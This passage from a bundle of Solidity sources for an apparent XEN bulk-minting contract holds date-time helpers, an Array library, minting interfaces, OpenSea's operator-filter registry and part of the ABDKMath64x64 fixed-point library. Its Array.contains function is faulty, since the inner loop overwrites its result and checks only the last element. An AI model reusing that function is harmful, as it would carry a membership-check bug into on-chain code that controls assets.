newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 